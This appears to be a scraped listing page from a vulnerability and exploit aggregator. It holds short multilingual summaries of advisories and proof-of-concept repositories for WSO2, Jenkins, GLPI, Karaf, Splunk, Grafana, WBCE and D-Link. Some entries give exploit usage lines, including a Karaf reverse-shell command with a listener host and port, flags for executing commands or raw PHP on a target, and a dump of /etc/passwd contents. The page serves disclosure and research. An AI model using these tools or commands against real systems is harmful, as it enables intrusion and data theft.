WSO2-2021-1260

WSO2-2021-1260: Deletion of Arbitrary files via Path Traversal in Artifact Name in WSO2 ESB Due to the unsanitized user input in the Artifact Upload feature, an arbitrary file deletion attack could be carried out by leveraging path traversal in the "artifactName" parameter. Vendor Disclosure: The...

MAL-007

MAL-007：WSO2 ESB 中通过本地注册表条目触发的 XML 外部实体（XXE） 在 WSO2 ESB 的“Local Entities”工具中发现了一种内联 XML 外部实体（XXE）攻击。 为什么没有 CVE？ 厂商回复称该漏洞“已在 WUM 中修复”，且未进行任何公开披露。 要求： 该漏洞需要以下条件： 有效的用户凭证 概念验证： 更多详细信息和利用过程可参阅此 PDF。...

CVE-2024-23897

CVE-2024-23897 Jenkins CI 经过身份验证的任意文件读取通过 CLI 导致远程代码执行 RCE Jenkins 是一款用 Java 编程语言编写的自包含开源持续集成/持续交付和部署 CI/CD 自动化软件 DevOps 工具。它用于实现称为流水线的 CI/CD 工作流。 Jenkins 有一个内置的命令行界面 CLI，用于从脚本或 Shell 环境访问 Jenkins。Jenkins 在处理 CLI 命令时，使用 Args4j 库解析 Jenkins 控制器上的命令参数和选项。此命令解析器具有一项功能，可将参数中 @...

poc-CVE-2026-23489

POC CVE-2026-23489 CVE-2026-23489 GLPI “Fields” 插件 --cookie-value COOKIEVALUE GLPI session cookie value --php PHP Raw PHP to execute on the server end statements with ';', Dropdowns...

MAL-005

MAL-005: WSO2 ESB 的“添加 Carbon 应用程序”功能中的 Zip Slip 漏洞 在 WSO2 ESB 的“Carbon 应用程序”添加功能中发现了基于 ZIP 文件的目录遍历（Zip Slip）漏洞。通过写入/覆盖特定文件，可能实现远程代码执行。 为什么没有 CVE？ 供应商回复称此漏洞“已在 WUM 中修复”，且未进行公开披露。 要求： 此漏洞需要： 有效的用户凭据 概念验证： 更多详情和利用过程可参阅此 PDF。...

EUVD-2026-95508

The FooSales WordPress plugin before 1.43.3 does not verify that an authenticated caller is entitled to act as the user a request names, allowing any authenticated user to have the FooSales WordPress plugin before 1.43.3 act as an arbitrary other user, including an administrator, resulting in tha...

CVE-2019-15107-Scanner

Webmin CVE-2019-15107 脆弱性スキャナー WebminサーバーがCVE-2019-15107（Webminバージョン1.890から1.920における認証済みRCE脆弱性）に対して脆弱かどうかを検出するマルチスレッドPythonスキャナーです。 説明...

CVE-2026-92989

The SendPress Newsletters WordPress plugin, in versions up to and including 1.26.1.20 , is vulnerable to an improper access control flaw (CWE-284 ). The plugin fails to validate user capabilities on specific newsletter-management actions. This allows any authenticated user with subscriber-level p...

EUVD-2026-95501

The SendPress Newsletters WordPress plugin through 1.26.1.20 does not check the user's capability on several newsletter-management actions, allowing any authenticated subscriber-level user to synchronise all site users into a mailing list and to drive the newsletter send queue...

offsec-karaf-exploits

offsec-karaf-exploits 用法： python exploit.py --help 示例： python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf 重新构建 Payload 设置 Felix 框架 1. 创建 lib 目录 mkdir -p ./revshell/lib 2. 下载 Felix Framework 7.0.5 3. 解压缩 zip 压缩包 4. 将...

CVE-2026-87108

An authenticated Ops Manager user with a read-only project role can exploit a flaw in daily host monitoring retrieval. Due to insufficient ownership validation , an attacker possessing a specific record identifier can retrieve a monitoring record associated with a different project . This unautho...

Splunk-RCE-poc

Splunk RCE - 概念验证（PoC） 针对 CVE-2023-46214、SVD-2023-1104 的利用概念验证 使用方法 Splunk 实例 URL、用户名、密码、反向 Shell IP 和端口均需作为命令行参数提供。例如： $ python3 CVE-2023-46214.py --url --username --password --ip --port 前置条件 具有上传到 adddatamethods 权限的 Splunk 凭据 注意：可能存在其他攻击途径，这只是我使用的方式 Splunk 未以 SHC 模式运行 分析...

CVE-2020-9461

CVE-2020-9461 ██╗ ██╗███████╗███████╗ ╚██╗██╔╝██╔════╝██╔════╝ ╚███╔╝ ███████╗███████╗ ██╔██╗ ╚════██║╚════██║ ██╔╝ ██╗███████║███████║ ╚═╝ ╚═╝╚══════╝╚══════╝ 保存型XSS - Oempro Octech Oempro 4.7から4.11では、認証済みユーザーによる保存型XSSが可能です。Media.CreateFolderコマンドのFolderNameパラメーターに脆弱性があります。 コマンド: Media.CreateFold...

import-users-from-csv-with-meta

import-users-from-csv-with-meta Import Users From CSV with Meta 1.15 - 未授权认证用户导出...

health-check

health-check Health Check & Troubleshooting daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin...

learning-management-system

learning-management-system Masteriyo - LMS for WordPress = 1.6.7 - 敏感信息泄露 插件信息 软件类型 插件 软件别名 learning-management-system（在 wordpress.org 上查看） 已修补？ 是 修复方案 更新到版本 1.6.8，或更新的已修补版本 受影响版本 1.6.8 已修补版本 1.6.8 CVS 信息泄露 CVSS 向量 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N CVSS 6.5（中危） 描述 Masteriyo - LMS for...

grafana-ssrf

grafana-ssrf Grafana 中经过身份验证的 SSRF。 注意事项 已为所有 SSRF 添加 Azure 元数据标头 已为所有 SSRF 添加 Google 元数据标头 无论何种情况，SSRF 都不会跟随重定向，因此请确保 URL 是直接地址。 如果通过 SSO 或其他非 Grafana 方式登录，请获取您的会话 Cookie 并使用 -s 标志 用法 usage: grafana-ssrf.py -h -s SESSION -u URL -H HOST -f FILE -U USERNAME -P PASSWORD optional arguments: -h, --he...

WBCE-v1.6.3-Authenticated-RCE

WBCE CMS printerror$MESSAGE'GENERICINVALIDADDONFILE'; 一旦模块通过此检查而被视为"有效附加组件（valid Add-On）"，任何 install.php 脚本都会在服务器上自动执行。该漏洞利用工具仅需使用一个 php 反弹 shell 作为 PHP 载荷。 YouTube 演示： https://youtu.be/Dhg5gRe9Dzs?si=LHC29PBRRRPNNy73 Description: This is an Authenticated RCE exploit for WBCE CMS version...

Exploits

漏洞利用 由 Ron Jost 开发的漏洞利用集合 如需漏洞利用开发请求，请联系我：[email protected] 目录： WordPress 插件 XCloner 4.2.12 - 远程代码执行（已认证）：CVE-2020-35948 WordPress 插件 Modern Events Calendar Lite 5.16.5 - 远程代码执行（已认证）：CVE-2021-24145 WordPress 插件 Modern Events Calendar Lite 5.16.5 - 导出事件数据（未认证）：CVE-2021-24146 WordPress 插件 Back...

CVE-2023-43284

CVE-2023-43284 DLink 型号 DIR-846 认证远程代码执行。 该漏洞滥用路由器中的 QoS POST 参数，以实现认证远程代码执行。（无需启用 QoS！） -h, --help show this help message and exit -x , --command Command to be executed Default: id -p , --password Password from router. -i , --ip IP from router. Default: 192.168.0.1 概念验证： 已测试的固件版本：100A53DBR-Retai...